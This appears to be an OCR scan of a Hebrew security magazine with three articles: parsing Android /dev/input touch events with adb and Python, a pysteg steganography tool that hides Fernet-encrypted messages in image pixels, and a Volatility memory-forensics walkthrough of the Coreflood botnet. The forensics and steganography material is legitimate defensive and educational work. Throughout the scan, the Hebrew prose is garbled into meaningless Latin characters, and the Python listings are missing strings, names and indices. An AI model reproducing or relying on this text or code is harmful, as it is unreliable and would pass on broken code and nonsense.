NXIPY YaIP7 172 DX . T'RNTIR W 17n0 T ,0TIn 1201 '"MNNAY A7 JITNK )2 DX .INIMa N7y

X277 Y121 HAL-n 7y "ao0ma 117y

[I'VD AT IR INIR RNPY 17210 728 XD INIR AKX X7 ,017) *7 IR X7 ,0T0 nn TIpw juo
,NYPTN NNIKA D'YAR ' 7D TIV W, NY) 12 0'70N0N NIXY YA TA' 78Ny T¥aw 17 'mny

0772 0OP'7NI NP'OA DNIYR DR

N2 DR 7Y NNNNNY input.h-n yalpa [ty R, 77 in X7 nptonan yapa an iy

#ifndef ANDROID INCLUDE_HARDWARE_INPUT_H
#define ANDROID INCLUDE_HARDWARE INPUT H

#include < dware/hardware.h>

#include <stdint.h>
__BEGIN_DECLS

#define INPUT_MODULE_API_VERSION 1_© HARDWARE_MODULE_API_VERSION(1, ©)
#define INPUT_HARDWARE_MODULE_ID "input™

#define INPUT_INSTANCE_EVDEV "evdev"
ed input_bus {
INPUT BUS_BT,
INPUT_BUS_USB,
INPUT_BUS_SERIAL,
INPUT_BUS BUILTIN

} input_bus_t;

12N XIXNT 721X P17 OX .NXY 'WON7 077 01NN N7Y DIKIAN DY DX DN QIWNYT Y7 DA

V2M01 aRID )R YOoN 7'NNN XD .NAIYNYT YR IR timestamp 12102 77100 DM

:StackOverflow-2 ITh N2IWNY7 'Myan ,MotionEvent-71 T'RNTIX? MWFW 12T 75 MNR wI9'N 170na

The first place | would look at in in frameworks/base/libs/ui/EventHub.cpp, it will go through
Jdev/input to find the different input devices on your platform and what “"kind” of input those are.

More...

Mext step is in framewarks/base/services/jni/com_android_server_KeylnputQueue.cpp and
v frameworks/base/services/java/com/android/server/KeylnputQueue java.

If all you are doing is implementing the input interface for a new piece of hardware, | don't think
you need to do any further than that...

Share Follow edited Dec 4, 2010 at 20:28 answered D

% Matthieu
15.7k » 10 » 58 @85

JJdev/input AW NN PITA7 DAL I'IR D190 KINW IENAN TIR IR RNP7 D277 RN M'WYY [IWRIN 12T
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X2'NNN XIN PY AN T DY 7NN

frameworks/native/services/inputflinger/reader/EventHub.cpp

ntHub.cpp

#1NCi1uage <egrmo.n-s
#include <fcntl.h>
#include <inttypes
#include <mem
#include <

#include

#include

#include

#include

#include

#include

#include

#include /limits.h>
#include

#include

#include <unistd.h>

#define LOG_TAG "EventHub"

#include <android-b
#include
#include <androi
#include <cutils
#include <i f
#include <i
#include <i
#include <
#include <st
#include <
#include <«
#include <

#include <fi
#include <r

#include "EventHub.h"

.MIY' NIYNI 21T 72K ,NMYL NAIYNAY NN DINN N"'P'NMA NN Yal?n DX 'MRXN

IR NV DNINA DA 7Y 7ON0N7 DWW DR DY NN LMy 12T DIY 'TMIRYA X7 My T

Jdev/input NT NN 21IT2IW "INKR NINT NWY)
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:INQN NTIZON DX YMIII0ZINRD IN NN ,NP7'N NINTY NN NPT NP Tan

PS C:\Users\Dan\AppData\Local\Android\Sdk\platform-tools> .\adb.exe shell

evente®
eventl
eventle
eventll
eventl2
eventl3
event2
event3
eventd
event5
eventé
event7
event8
event9

XN NAIYNA I7|7Iﬂ']| DA'NITIXR DX TIY 772%7 noMn ,events |Mn Y'Y Nk

These are special character files. Opening them with text editor makes no sense; try accessing them
with 'cat’: cat /dev/input/event0

If you create some input on the associated device, like typing on the keyboard, moving the most,
activating a sensor, you should see data. This data in 32 byte 'evdev' (Event Device) structures. Its
better to look at it with something like: od -h /dev/input/event1

They represents Linux user input devices like keyboards, mouse or touchpads. On Android they
represent sensors too. Cn my HTC Wildfire, you can find proximity, light, compass sensors.

You can check your device like that:

# cat /sys/class/input/eventx/device/name
h2w headset

atmel-touchscreen

proximity

buzz-keypad

buzz-nav

lightsensor-level

curcial-oj

compass

Browse /fsys/class/input directory to find out what they are.

When Android boots up EventHub (frameworks/base/services/input/EventHub.cpp in the Android
source) scans all files in /dev/input and queries each (using |OCTLS to query the device name,
version, etc) and creates the appropriate device (like mouse, keyboard, multitouch screen, etc) (by a
mechanism as yet still unknown to ribg)

These 'evdev’ 32 byte structures:

struct input_svent {
struct timeval time;
unsigned short type;
unsigned short code;
unsigned int value;
b

contain the timestamp of the event, the type of the event, the keycode {or mouse relative motion
direction/axis) and a value (such as how much a mouse moved).

47
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117w 0'¥a7N 7W NANN DXV T 7IX L7 W'Y IND timestamp 7'o1w X1 NAIWNN 9102 7700
1INXY] NTOY input event "019N7" AIWOX 'X 71721 .32 7Y 12T N9I1,NNIY 701 0'MAa 24 v 17 7aR

N NTIPONW N2, wi9'n ANKY L(...nTay X7 n7yn7 na1wynav nTipon)

adb shell getevent -1

0NN 7V 11NII0T7IN'RA DX TV NPYPZY7ORNY N Y]

ABS_MT_POSITION_Y pepeu9s2
SYN_REPORT Be6e800808
ABS_MT_POSITION_Y pebeu96S5
SYN_REPORT Be66800808
ABS_MT_POSITION_Y pebeu9s7
SYN_REPORT Be0600808
ABS_MT_POSITION_Y 86866U9bb
SYN_REPORT 006600800
ABS_MT_POSITION_X 0068668eb2
SYN_REPORT pe0BBBee
ABS_MT_POSITION_Y pebeU9ee
SYN_REFORT PE066B60
ABS_MT_POSITION_Y gpeeUazl
SYN_REPORT 80080000
ABS_MT_POSITION_Y pepeUasy
SYN_REPORT pepepBon
ABS_MT_POSITION_Y pepeUaTe
SYN_REPORT pe0e6000
ABS5_MT_PRESSURE pe0e6000
ABS5_MT_TRACKING_ID fFFfFFff
SYN_REPORT Be6e800808
ABS_MT_TRACKING_ID Be6e800808
ABS_MT_POSITION_X 806003de9
ABS_MT_POSITION_Y 080068 F

dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_ABS
dev/input/event2: EV_SYN
dev/input/event2: EV_ABS
dev/input/event2: EV_ABS
dev/input/event2: EV_ABS

dev/input/event2:
dev/input/event2:
dev/input/event2:
dev/input/event2:
dev/input/event2:

EV_ABS
EV_SYN
EV_ABS
EV_ABS
EV_SYN

ABS_MT_PRESSURE
SYN_REPORT
ABS_MT_PRESSURE

ABS_MT_TRACKING_ID

SYN_REPORT

poeeaden
606060800
866606000
s
866606000

DA TWONY 'M'7'a getevent DV NXp MpN'Uy NXp NN ,0'7'o0n 17w DMIKIANY NN T YR, YRIR

:NTIPON NNTYA (D'YIAR7 DIAN NAYY 19Y) raw D'IYN DR 0'9TNY

adb shell getevent -1
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122100.
122160.
122100.
.1430997]
122100.
.u33978]
122160.
122100.
122160.
122100.
122160.
122100.
122160.
122100.
1221600.
122100.
122100.
122160.
122100.
122160.
122100.
122160.
122100.
1221600.
1221600.4
122100.4
122100.
1221600.
1221600.

1221686

1221686

429259]
429259]
438997]

433978]

438967]
438967]
4uus49]
Luys5u9]
4u598u]
uy598u]
4y9971]
049971]
U54950]
454950]
459845]
4590u5]
u62u82]
0624821
478817]
u78017]
4730827]
473027]

85068]

85068]
693258]
693258]
693258]

/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:
/dev/input/event2:

Technologic r

8063
8008
8063
0008
8063
8008
0063
60686
8063
00686
8063
0068
80683
8068
8063
8068
80683
0000
8063
0000
8063
00080
8063
8008
8063
8008
8063
80683
0000

:onn 7y vyl yMa

8036
(oTo]o] 3]
8035
pEEe
8036
peee
8036
Beee
8036
BEee
86835
BEee
8036
BEee
8036
BEee
8835
BEEe
8036
oTo]o]3]
8036
(o711 3]
8035
pEEe
8036
pEEe
803a
86839
BEEe

eeee3fsu
pEEERRER
8088371c
PEEERRAER
0000321
POEEARAER
000083eee
PEEEeEER
00003ebb
PEEEeEER
000636CcH
PEEEeEER
8008399
PEEEeEER
000083e65
PEEEeEER
00083665
pEEEREER
00083e32
pEEEREER
0e0e3dff
pEEERRER
006083629
PEEEARAER
B8883dcc
PEEEARAER
PEEEeEER
ffEFFFf
pEEEREER

NXNIY DDV ' 7D TN ,N7NNN timestamp-n ,117W DMINI'AN NN DTN WA 12 AT Nyd
events-n NX NTNA NI7Y7 AN"'n "YU MIIWUNIN Nnawnnn Jonn 2V AN'TION DX DAYy

.NN DIYN 7 T2y X7 0T 72K, TIAV7 NN sendevent NTIPO NNTY] DX AAY

YTI' IX DT 27w .mxya 1U¥7 DYNn DRI RN INYNYT MYV events-n I 10197 VXK D DX

.LNMI9N NN NIV MNAY7 K7 AN ,NT Y NYY
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:02"Y2 1T NXP 7 NWIVW github 977 y'an 1x,17 AXINN DA IN TI2 DA ,0'WI9'N NN NK

Review

input_event

* time (timeval)
o tv_sec (long)
o tv_usec (long)
s type (_ul6)
s code (_ul6)

e value (_s32)
Flattened: SEC USEC TYPE CODE VALUE

How many bytes is a long ? Well, it's platform-dependent. On a 32-bit platform, you get 32 bits (4 bytes). On a €
platform you get 64 bits (8 bytes). This means that the event is 16 bytes on a 32-bit machine and 24 bytes on a 64-bit

machine. Software will need to accommodate.

.(N7nNN Mawnw 95 8 IX 4 A X71) |NT O'aX'N DDIYKRIN 0'NaAN MUY NYY XN 770 ™™

.01 64 NNNIDV'7O 7V YOIN NTY NXRN1D .yl Lax'm event Dy ThHn ,U'7|7ﬁ Al0O NN D'NAN XRYI

DTIPN NITIPON NNX DX NXNWD 11'RY 10D events-N NX N09'Y TIy 217 NN NY 7D 72 DX

DATA 73 'NTPANN 17 1019'W VOMPO 'MANDI input_event codes.h-1 MUNNWN .1NXYA V1YY

M IvalUh)ak} 7 NONIXK NIRT DX D'Y'OINY 'M'RWY

import os
from struct import unpack
from natsort import natsorted

def (val) :
if val ==
return
if val ==
return
if val ==
return
else:
return val
(val) :
if val == 0x0:
return
if val == 0x35:
return
if val == 0x36:
return
if val == 0x30:
return
if val == 0x31:
return
if val == 0x39:
return
if val == 0x145:
return
if val == 0Oxl4a:
return
else:
return val
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(path to file, count):

open (path to file,
data = f.read()

for i in range (0, len(data),24):
first block = unpack( , data[i:1+8]) [
second block = unpack , data[i+8:1i+1
third block = unpack( ,
fourth block = unpack( , data[i+18:1+2C
fifth block = unpack( , data[i+20:1i+24

third block = parse type (third block)

fourth block = parse code (fourth block)

print (f"time is {first block}.{second block} type is {third block} code
is {fourth block} value is {fifth block}")

files = next (os.walk ('use

files natsorted(files)

count = 1

for count, file in enumerate(files, start=1):
read file( +file, count)

X N, MR K7W event code W'w NI 710! 12D X AWy 7T 7Y 1100190 NIV K7

2273w 0797 NNAIT IT .IRT NN ATNON7 NY7XRY DN

1635161916. 7574434 type is EV_ABS 1s ABS_MT_POSITION_Y value
.757U434 type 1is EV_ABS is ABS TION_X value
7574434 type 1s EV \ 1s S) REPORT value 1is @
.757U434 type is EV_ABS 1 S I
.757U434 type is EV_ABS

L757u434 type is EV_ABS
.757u434 type is EV_SYN : C
.757u434 type is EV_ABS i S_ SITION_Y value
i .757u434 type is EV_ABS i SITION_X value
1635161916.7574434 type is EV_SYN i

.report T~I NIV TIXIP 'NY ¥ XY 7V ITINY 019T W'Y XIN MIYKIN ,NIAIYN NIt nnd72% 0w

0NN 7 Y7 0NN NIRY NTIRI AXM AT AR

QYD 71 NIDTYNN X NOITIXIPZ TIY2 D'NYD NDTYNN y NVITIRIZ DYDY X' NMIYN NTIIN

.(19n7 IX) NNX

NRMIY KIN 'WH9YN QTN LDIR IR Y 7un 0T INIK DKWY X NOITIRIY 7722 0T ARD

.1080x2178 N*'7M'UDIXK X'NY 11'72W N'XI7ITIN 'MINNYT YINA 7752 DN N78N DDWNY
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X2N UOPON NX 'MIAND ,NNINNKRN NITHIN 'MYN NIM7YNNAINIMNY MIYRIN NTI71A AYNnNNa

import os

import matplotlib.pyplot as plt
from struct import unpack

from natsort import natsorted

def (val) :
if val == 0:
return
if val ==
return
if val ==
return
else:
return val
(val) :
if val == 0x0:
return
if val == 0x35:
return
if val == 0x36:
return
if val == 0x30:
return
if val == 0x31:
return
if val == 0x39:
return
if val == 0x145:
return
if val == 0Oxl4a:
return
else:
return val

(path_to file,
xs = []
ys = []
with open(path to file,
data = f.read()

i in range (0, len(data),24):
first block = unpack( , data[i:1+8]) [0
second block = unpack ( , data[i+8:i+16
third block = unpack ( , datal[i+16:1+18
fourth block = unpack( , data[i+18:1+2
fifth block = unpack( , datal[i+20:1i+24
if (fourth block == 0x35):
xs.append (fifth block)
if (fourth block== 0x36) :
ys.append (fifth block)
third block = parse type (third block)
fourth block = parse code (fourth block)
while (len(xs)> len(ys)):
xs .pop ()
while (len(ys)> len(xs)):
ys.pop ()
plt.gca() .invert yaxis ()
plt.scatter(xs, ys)
plt.savefig (f£" {count}.png")
plt.clf ()

files = next (os.walk ('user

files = natsorted(files)

for count, file in enumerate(files, start=1):
read file( +file, count)
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:Decryptor-1 Encryptor :Nip'7nn 'nwn 107 Tipn

,N100 N1'NAN .NIINAN N2 10NN 7 N19¥N Y¥IN DN INKR71,10N1 NNSN DY 7NNIRN Encryptor-n
.NNXY NIOXINN NYTINN DX PN INXR?,NYTINN IR DX 791y header 7w un119a TTIM Yonn
7IN2 Yynuin 10NN 7D Ty ,NImn2 70i7'0 75 9w LSB-n DIzna "0'onT"'y 0'01Y p7inn ntn uon

:NINNN

o000
from 4 import
from port

from import

import
from YF & import F

from import

return

if
raise
return

None)

return

NN QAWN7 YTI' DA KN .AES 7V 001an NINQYW ,Fernet DNMIATX NIYVXNX] N'WUYI NNXY N19¥NN
7¥ DNNKRN D'02N qIN2 0NN NX |'9Xﬂ'7 NN 7y NIY 0'0'aNN TINK NN ,NINIK NRT - TO9NN
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o200

from base64 import
from hashlib import

from import Fernet

from ut import

for in range(height)
for j in range( ith):

= im[i, jl

for in range(3):

L& i

continue

except StopIterat
pass
return

’
try:
for in range(h
for in range(v
f [i,

for k in range(

except
pass
return int(dat

def decrypt(

return

D'™21>' DININY NIX lossy NO'NT DNMNA7XRY VT ') JPEG no'nT Dy D'7ANXN NND MNX ,'-']IOJ.'?

.imageio-I cryptography - T272 NI"7N 2-2 win'y N, T2V winmn L (?y17'nin AINR? ninwn?
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AWON - pypi-2 ['AT XIN NYII ,poetry DWA N7XINI 22N *701 '"MYnnNYn 72NN DX NIvn? 1
Yy
pip install pysteg

IDdnxYa NM1901 NIcINNYI

WIN'YY? XNAIT NN

import imageio
from cryptography.fernet import Fernet

from encrypt import Encryptor
from decrypt import Decryptor

def (path: str):
return imageio.imread (path)

(password: str) -> Fernet:
return Fernet (password.encode ())

() :

in path =
out path =
password =

message =
im = load image (in_ path)

encryptor = Encryptor (password)
encryptor.encrypt (im, message, out path)

decryptor = Decryptor (password)
print (decryptor.decrypt (load image (out path)))

if name ==
main ()

main

JIND |'AT RN TIp

https://github.com/liorp/pysteg

17w 21702 NY'aIMY NNX? NoNA 7V 001an NN

https://blog.liorp.dev/development/steganography-aka-encryption-and-cyber/
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https://www.coursera.org/learn/crypto
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TRl

https://en.wikipedia.org/wiki/Cryptography
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NPT NIAZITINNI [ND'T NINY - Coreflood

[N9'17 7XIT NNN

nNTEN

NINIYIEN'0INN DNPRN 7W NXIP T 7V NIXI WK Botnet-1 'IX'NV 010 A10n N7l R'n Coreflood
Qo ,nimipn Nwnn NiMdio 17" 7ya %Y NipaTinn nidynN nn'wia 077 FBI-n .2010-a
30-> ;0"01'D NITOM IX D'P12 NYMN ;|INV 1727 Y ;N9IYN M1 AYI7Y ;NNvwn NINNY
217%7 * 1> Volatility-2 2ty 1nmax [1]".0'9011 D070y NINAL ;D710 'N2 20 ;017701 IR NIKV'ONAMIN
D"702'T D'NTAI NIMXY 7¢ Y17'N 1Y ,INT'D] 0RAIMDY 07D 7w 'M1'N qoIXR K'N Volatility .ppniyY
ndIYNNN 'VI7NYT TI91 [DIXA NIYXANN YI?'NN NIV .[ND'T NN IR (RAM) MTIN |Nd'n

0NN 7w nxnn ay¥n? AYPEN DTN NNON NIKNY NIV'XN X, N 7NN

2¥NN DX 207 17 TV72 N'0NP NIR'YN 702 RINDCNTIN [ND'TY XY 07 N2'oN ?JND'T NN nn?
VAl NTYD .0N' NIN YWISN DX 71 ,0'WIY D'Y7AY An? DniT wnn a7 DpaTimn nownn Y
NNAN .N9pPNNN PN 17 Y'Y TN RN DY MYy 0Myos? MTAN [ND'T NPT NIopnn?
7Y NINIY MMINY DL JND'TA 70 NIDIY NIpTR 7w N701an X7 Nimdw 117 NI DINN2 NRNNKR

Jn'on NPT 7w NIRYAN 7Y 0'TRN 17 [N X7 'MTIN-N7 [ND'T

“Malware can hide, but it MUST run” - SANS DFIR

NN

N2 R¥N'N7 0710 NN'R TIAWIY |ND'TN NINN

JKALL md nwyn? X'nw ,SANS-2 DfaIRD T 0T 2V 0y LSIFT ATiavn D20 wnnwun X
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Coreflood - npaTn NIAIZITINAL [N2'T NN
www.DigitalWhisper.co.il
65 2022 1,141 '



https://en.wikipedia.org/wiki/Coreflood#cite_note-1
https://github.com/mgoffin/malwarecookbook/blob/master/16/6/coreflood.vmem.zip

Technologic

Yy N'PNn

NIXT7 T2 NIDNN 7V INW DD'70N 7W N0IYWD NN AN NXIX IR ,NPNN DX 7'NNnY% 'O TR

.pslist NTIPON NITYI NXRT NIYYT? 721X .0 TIVN D'D'70N NINT? 7DIX "IN DX

NN 27yn y¥a7 *15 _EPROCESS "1an 7w double linked list a10n 021M1 n1ana nwnnwn Windows
ANX NWONNI ITN NTAIv2 nwnnwn Volatility .Kernel-2 n1Iw 1th nn'wan .0"'von 0D*0nn '
ANXY? .Kernel-2 _EPROCESS-n 1an nn'wn 7w n7NNinY? yraxn TwK PsActiveProcessHeader y'axnn

;0¥ DD'7ANN DX ANNYT T ITD NN'wAN 7V ntYnir nyxan Volatility ,on

$ vol.py -f coreflood.vmem pslist
Volatility Foundation Volatility Framework 2.6.1
Offset(V)

Syste
SMSS.exe
oxfflecda® csrss.exe
0xfflec978 winlogo >
0xff247020 service
0xff255020 lsass.e
0xff218230 vmacthlp.exe
0x80ff88d8 svchost.exe
0xff217560 svchost.exe
0x80fbf910 svchost.exe
oxff22d558 svchost.exe
oxff203b8e svchost.exe
0xff1d7da® spoolsv.exe
0xff1b8b28 vmtoolsd.e
0xff1fdc88 VMUpgradeHelper
0xff143b28 TPAutoConnSvc.e
0xff25a7e0 alg.exe
0xff364310 wscntfy.exe
o0xff38b5f8 TPAutoConnect.e

UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
uUTC+0000
uUTC+0000
UTC+0008
UTC+0008
uUTC+0008
6 UTC+0000
6 UTC+0000
uTC+0008
8 UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
uUTC+0000
8 UTC+0000
UTC+0008 2010-88-15 18:24:00 UTC+0000

0xff3865d0 explorer.exe
0xff3667e8 VMwareTray.exe
0xff374980 VMwareUser.exe
0x80794588 wuauclt.exe
exff3ad1a8 IEXPLORE.EXE
0x80fdc368 logon.scr
oxff125020 cmd.exe

[-N-NoN-N-N- NNl N N -l NNl ol ol ]
CO00O000O0OO000OOORCC00000OOOOOQ

Internet Explorer .|'Vn NX D'O9INY NND W' X ,0'727 DN DD'7NNN ANYW AR, NIKYYZ NIY 19D
%9 "70NN N2 NINANIM DPTIN IR .DRYIT DNIAN KD TR NIy (230 12T, emd-7 9o,y
Command & MIYPN X'ANNY T [ATh 75 DNIA'N y¥an [9T9TIYW NTAIY YNNIl [9T9TN

?Control

NN LI9TOTA T O'RXI' DMIA'N DIV |'KY NX1Y OX .O'RXI' D"MIA'N |7I'I'3.'7 X'N NN N71V9N TR

ITwinw/n''vs pNian |7I'I'1'7 TD connscan 0N 'NMYNNYnN ANXK 7N won? 0N

“To find _TCPT_OBIJECT structures using pool tag scanning, use the connscan command. This can
find artifacts from previous connection that have since been terminated, in addition to the active

ones.” - Volatility Documentation.
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yIx1 0x54455054 (TCPT) nn'NNn NIX XIXNY [1'011 'T'ON [N2'TN 7W N0 T 2V TaIy AT 9oInn

:N7AN _TCPT_OBJECT-n NIN2 NIXAN NIfA'on 28-7w NIN1

$ vol.py -f coreflood.vmem connscan
Volatility Foundation Volatility Framework 2.6.1
Offset(P) Local Address Remote Address

Ox00eda590 172.16.: . H : 65.54.81.209:80
0x01072e70 172.16.: . : 108 209.234.234.16:80
0x0107c888 172.16.: . Hy 4.23.40.126:80
0x0108fcd8 172.16.° . H 65.55.15.124:80
Ox010fad448 172.16.: . Hp 65.55.253.21:80
0x02214988 172.16.: . H 65.54.81.14:80
Ox026c68a8 172.16.: i H 65.55.15.243:80
0x02aed4bb® 172.16.: . H 65.55.15.123:80
0x048b25f0 172.16.: i 1108 65.55.149.119:80
0x04a04578 172.16.: . H 65.54.81.49:80
0x04a04e70 172.16.: i H 69.43.160.145:80
0x04ad4ad4ad 172.16.: . 1108 12.1260.180.24:80
Ox04be2558 172.16. il e 65.54.81.22:80
0x85536e70 172.16.: . H 65.54.81.14:80
0x05802340 172.16.: il e 65.55.18.18:80
0x05c9e200 172.16.: . H 65.54.81.14:80
Ox05deea3® 172.16.: . He : 65.54.81.14:80
Ox06015ab® 172.16.: . Hy 207.46.170.10:80
0x0605F208 172.16.° . 1108 202.89.231.60:80
0x06125538 172.16.: . 1108 65.54.81.79:80
0x0623a438 172.16.: . H 96.6.41.210:80
0x06450720 172.16.: . Hp 5.55.149.121:80
0x064509f0 172.16.° . H .4.18.73:86
0x06497a68 172.16.: i H .55.15.124:860
0x067bd218 172.16.: . H .54.81.209:80
0x07cl17bed@ 172.16.: i H .55.239.161:80

,2044 1\90n PID 'T-7v nxn mivpnn yblY} jnon ,NmMony mivupn nyx Nninnn 17780 NN T
TNIX 110 CWK ,sockscan 0IN1 WNNWK "IN ,NIITT MIYPZN DIY |'RY XTI7 *TD .IEXPLORE.EXE XInw

._ADDRESS_OBJECT 11y [N2>'Tn
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0x01096470

0x010caabl

Ox010d7e98

Ox010f7400

Ox01160d3a8

Ox0111d928 ] TCP
0x01120c40 : upp
0x01131930 ) ) ) upp
0x01134008 GRE
0x01134e98 TCP
Ox0115f128 TCP
Ox029d9580 ] uppP
Ox02daad28 TCP
Ox037cO768 TCP
Ox043d4acs TCP
LEGEENEN ] ] upp
0x048617a0 ] Upp
Ox04861ab8 TCP
0x04864a08 TCP
0x04866478 TEP
0x0486ee98 TEP
Ox04a074d8 ] upp
Ox04a4beo8 TCP
0x04a96a78 TCP
Ox04b591a8 TCP
Ox04b59998 TCP
Ox04b5e880 TCP
Ox04be3cos TCP
Ox04be7008 TCP
Ox04c2d698 TCP
Ox0573f710 TCP
0x058844a0 ] upp
Ox05b95668 TCP
0x05c162c8 TEP
Ox05cabcd8 TCP
Ox@5ce53de TCP
Ox05dee200 ] uppP
Ox05e344cO TCP
Ox05744008 ] uppP
Ox05748008 ] uppP
Ox0605f008 TCP
Ox061253c8 TCP
0x06237b70 Reserved
Ox066T1498 TCP
Ox069012b8 TCP
Ox069d5250 ] upp
oxB6blaces : upp

2010-08-15 18:11:24 UTC+0000
2010-08-15 18: 33 UTC+0000
2010-08-15 1 UTC+0000
2010-08-15 1 1 UTC+0000
2010-68-15 18:11:19 UTC+0000
2010-68-15 18: 1 UTC+0000
2010-08-11 H UTC+00008
2010-08-11 H UTC+0800
2010-08-11 H UTC+0800
2010-68-15 18: UTC+0800
2010-08-11 H UTC+0800
2010-68-15 18: UTC+0800
2010-08-11 :06: UTC+0800
2010-68-15 18: UTC+0800
2010-08-15 18: UTC+0000
2010-08-15 18:09: UTC+0000
2010-08-15 18: 1 UTC+0000
2010-08-15 18: UTC+00008
2010-08-15 1 1 UTC+0000
2010-08-15 1 1 UTC+0000
2010-068-15 18:09: UTC+0800
2010-068-15 18: UTC+0800
2010-08-11 H UTC+0800
2010-68-15 18:11: UTC+0800
2010-68-15 18: UTC+0800
2010-68-15 18: 1 UTC+0000
2010-08-15 1 UTC+0800
2010-08-15 1 UTC+0000
2010-08-11 :06:17 UTC+0000
2010-08-15 18: 1 UTC+0000
2010-08-15 18: 1 UTC+0000
2010-68-15 18:11: UTC+oeee
2010-68-15 18: UTC+oeee
2010-68-15 18: UTC+0800
2010-068-15 1 UTC+0800
2010-08-15 1 UTC+0800
2010-08-15 18:09: UTC+0800
2010-68-15 18: UTC+0800
2010-08-11 UTC+0800
2010-08-15 18:24: UTC+0800
2010-08-15 18: UTC+0000
2010-08-15 1 UTC+0000
2010-08-11 UTC+0000
2010-08-15 18: UTC+00008
2010-08-15 18: 1 UTC+0000
2010-08-11 H UTC+oeee
2010-08-15 18:11:19 UTC+0000

[
0000000000000 00

~N v ~
HFO 00O ERERRR Q@

= 0000000000000 E,OOOO
cCoooeoOoe@@22Q2Q - -

~ -
[=

(NS

0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0

1

1

0.
0

1

0.
0.
0.
0

1

1

0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0

1

0.
0

1

0.
0.
0.
0.
0.
0

1

N0 NN 00000000000 0NNOOEONOOONNOQ0000

[ e R o e e i i ]
[ e R o e e i - i ]

(NS

[

yvan .nw |9TOTN IX ,2044 "O0n PID-7 D'WAIW DTN DNIQ'N 19010 W', NINT7 D'7ID' INIRY '9D

TN 7NN NNANNNY NPT RYAY AN AT D ,0™1TAN DINTPRN DX q17W7 nTh

72U |ND'T M2 AT TR DRXIN DRTD NTIRON .malfind 2'NN N2 wnnuXY NIIURIN DTIRON
[N7 &' R DTl (VAD-N 79 DR T2 T 79) DX [N2'T NITR 79 wI9'N M 2V IRT NIV X0 .Y70n

70" TN 7V YAl DIW7 Nomn X7w nx1n TIp 7w 0'NTn
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NINYAN 112y VAD-N 7w D12 T 7Y X' 0T TR RIXNYT (1'0N2 7721 [ND'T IIT'R DAY NL'WN
TINT ,70' T2 XN Y27 DIYY? Nomn X7 XN ,N¥N NIKWIN W' [IND'T2 7707 DX .execute IND ,page
STIP NPATR N7 1YYY NN Iy Nn2 Nt

Process: IEXPLORE.EXE Pid: 2044 Address: @x7ff80000
Vad Tag: VadS Protection: PAGE_EXECUTE READWRITE
Flags: CommitCharge: 45, PrivateMemory: 1, Protection: ©

0x000000007f 80000 6O PG GO OO GO GO OO OO 6O 0O 6O 00 OO 00 00 00
0x000000007f 80010 0O PG GO OO GO GO OO GO 0O 0O 6O 00 OO 00 00 00
0x000000007f 80020 00 PO GO OO GO GO OO GO 0O 0O OO0 00 0O 00 00 00
0x000000007f 80030 00 PO GO OO GO GO OO GO 0O 00 OO0 00 0O 00 00 00

0x0000000A7FFBOO0D DOOO ADD [EAX], AL
0x000000007f 80002 0000 ADD [EAX], AL
0x000000007f 80004 0000 ADD [EAX], AL
0x000000007f 80006 0000 ADD [EAX], AL
0x000000007f 80008 0000 ADD [EAX], AL
0x000000007f 8000 0000 ADD [EAX], AL
0x000000007ff8000C 0000 ADD [EAX], AL
0x000000007ff8000e 0000 ADD [EAX], AL
0x000000007f 80010 0000 ADD [EAX], AL
0x000000007ff80012 OO0 ADD [EAX], AL
0x000000007f 80014 OO0 ADD [EAX], AL
0x000000007f 80016 0OOO ADD [EAX], AL
0x000000007f 80018 0OOO ADD [EAX], AL
0x000000007FfBA01a 000G ADD [EAX], AL
0x000000007ffBAO1C DOOO ADD [EAX], AL
0x000000007ffBOO1e DOOO ADD [EAX], AL
0x000000007ffB0020 0000 ADD [EAX], AL
0x000000007F 80022 0000 ADD [EAX], AL
0x000000007f 80024 0000 ADD [EAX], AL
0x000000007f 80026 0000 ADD [EAX], AL
0x000000007f 80028 0000 ADD [EAX], AL
0x000000007ff8002a 0000 ADD [EAX], AL
0x000000007ff8002Cc 0000 ADD [EAX], AL
0x000000007ff8002e 0000 ADD [EAX], AL
0x000000007f 80030 OO0 ADD [EAX], AL
0x000000007f 80032 0OOO ADD [EAX], AL
0x000000007f 80034 OO0 ADD [EAX], AL
0x000000007f 80036 0OOO ADD [EAX], AL
0x000000007FFBOO38 DOOO ADD [EAX], AL
0x0000000A7ffBOO3a DOOO ADD [EAX], AL
0x000000007ffBO03Cc 0000 ADD [EAX], AL
0x000000007f 8003 0000 ADD [EAX], AL

X7 DPTINY NIFRY 210" .ATIRONN 'YIN'Y YT TR NI 0Y7270n X7 110X NI D710 1INIXRY 19D
NIN NZNN NRTRANY D2 NIFRY7 710 .shellcode Nt 71 K7X,|ND'T7 D100 NXN YAIR WII9N] MY
-N 7Y ImageBase-n 7y VirtualFree n'¥j72197 NRMP T 7V 1N'TA YIN'A7 T [N2'TAN NXINN NY72'NN

JITT NI7'WOY NIRTA NIFRY NWYNYT N9 'K D NIKTIA NYT? 071! X7 1NIX N0 702 .71 1min DLL
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Technologic

:apihooks :X'n N2 YNNWX "IRY NRAN NTIRON

“This finds IAT, EAT, inline style hooks, and several special types of hooks. For Inline hooks, it
detects CALLs and JMPs to direct and indirect locations... and calls to unknown code pages in

kernel memory.” - Volatility documentation.

